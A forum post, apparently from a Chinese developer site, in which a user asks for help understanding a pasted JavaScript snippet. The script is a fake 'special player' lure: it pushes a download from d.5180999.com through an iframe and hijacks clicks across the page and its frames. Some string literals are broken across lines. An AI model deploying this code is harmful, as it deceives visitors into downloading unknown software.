87,984
社区成员
发帖
与我相关
我的任务
分享
大侠我学习下,如何解<script>
var uid,pid,durl,curl;
function GetConfig(_load)
{
uid=GetInt("uid",1);
pid=GetInt("pid",8100);
curl="next.html?uid="+uid+"&pid="+pid+"&cid=3";
if(_load>0)
{
var viscount=parseInt(f_get_cookie("v_count"));
if(viscount==1)
{
f_set_cookie("v_count",2);
durl="http://d.5180999.com:"+pid+"/download.ashx?id=3&uid="+uid+"&r="+Math.random()
}
else
{
f_set_cookie("v_count",1);
durl="http://d.5180999.com:"+pid+"/download.ashx?id=3&uid="+uid+"&r="+Math.random()
}
}
};
function $$(ele)
{
return document.getElementById(ele)
};
function GetParamVal(paramName)
{
var url=location.href;
var paramString=url.substring(url.indexOf("?")+1,url.length).split("&");
var paramObj=
{
};
for(i=0;
j=paramString[i];
i++)
{
paramObj[j.substring(0,j.indexOf("=")).toLowerCase()]=j.substring(j.indexOf("=")+1,j.length)
};
var returnValue=paramObj[paramName.toLowerCase()];
if(typeof(returnValue)=="undefined")
{
return null
}
else
{
return returnValue
}
};
function GetInt(paramName,val)
{
var vid=parseInt(GetParamVal(paramName));
if(isNaN(vid))
{
vid=val
};
return vid
};
function f_get_domain(v_url)
{
if(v_url==null||v_url=="")return"";
var v_begin,v_end;
v_url=v_url.toLowerCase();
if(v_url.indexOf("http://")==0)v_begin=7;
else if(v_url.indexOf("https://")==0)v_begin=8;
else v_begin=0;
if((v_end=v_url.indexOf("/",v_begin))==-1)v_end=v_url.length;
v_url=v_url.substring(v_begin,v_end);
if((v_end=v_url.indexOf(":"))!=-1)v_url=v_url.substring(0,v_end);
if(v_url.indexOf(".")==-1||/^[0-9]+[.0-9]*$/.test(v_url))return v_url;
var v_parts=v_url.split(".");
if(v_parts.length>2&&v_parts[v_parts.length-3]!="www")
{
var v_part_2=v_parts[v_parts.length-2];
if(v_part_2.length<=2||v_part_2=="com"||v_part_2=="edu"||v_part_2=="gov"||v_part_2=="net"||v_part_2=="org"||v_part_2=="mil")
{
v_url=v_parts[v_parts.length-3]+"."+v_part_2+"."+v_parts[v_parts.length-1]
}
else
{
v_url=v_parts[v_parts.length-2]+"."+v_parts[v_parts.length-1]
}
}
else
{
v_url=v_parts[v_parts.length-2]+"."+v_parts[v_parts.length-1]
};
return v_url
};
function f_set_cookie(v_cn,v_cv)
{
var v_et=new Date();
v_et.setTime(v_et.getTime()+12*60*60*1000);
document.cookie=v_cn+'='+v_cv+';
expires='+v_et.toGMTString()+';
path=/;
domain='+f_get_domain(window.location.href)
};
function f_get_cookie(v_cn)
{
var v_cookies=document.cookie.split(";
");
for(var v_i=0;
v_i<v_cookies.length;
v_i++)
{
var v_ck=v_cookies[v_i].split("=");
if(v_ck[0]==v_cn)return unescape(v_ck[1])
};
return null
};
function addEvent(obj,type,fun)
{
if(obj.addEventListener)
{
obj.addEventListener(type,fun);
return true
}
else if(obj.attachEvent)
{
return obj.attachEvent("on"+type,function()
{
fun.apply(obj,arguments)
}
)
}
else
{
return false
}
};
function addgo(info,isDown,alertYoNO)
{
if(isLoading.style.display=="none")
{
GetConfig(1);
var hint=info||"本片资源需要下载专用播放器观看,只需10秒立即观看!";
if(alertYoNO==1)
{
if(isDown||confirm(hint))
{
$$("d_url").src=durl
}
}
else
{
if(!isDown)
{
alert(hint)
};
$$("d_url").src=durl
}
}
};
var v_mode=true;
function fun()
{
GetConfig(0);
if(v_mode==true)
{
$$("c_url").src=curl;
v_mode=false
}
};
var v_is_add_click=false;
function f_pop_click()
{
if(v_is_add_click==true)return;
try
{
if(!window.document)return;
addEvent(window.document,"click",new Function("fun();
"))
}
catch(v_ex)
{
}
var v_obj=document.getElementsByTagName("iframe");
for(var v_i=0;
v_i<v_obj.length;
v_i++)
{
try
{
addEvent(v_obj[v_i].contentWindow.document,"click",new Function("window.parent.fun();
"))
}
catch(v_ex)
{
}
};
v_is_add_click=true
};
f_pop_click();
</script>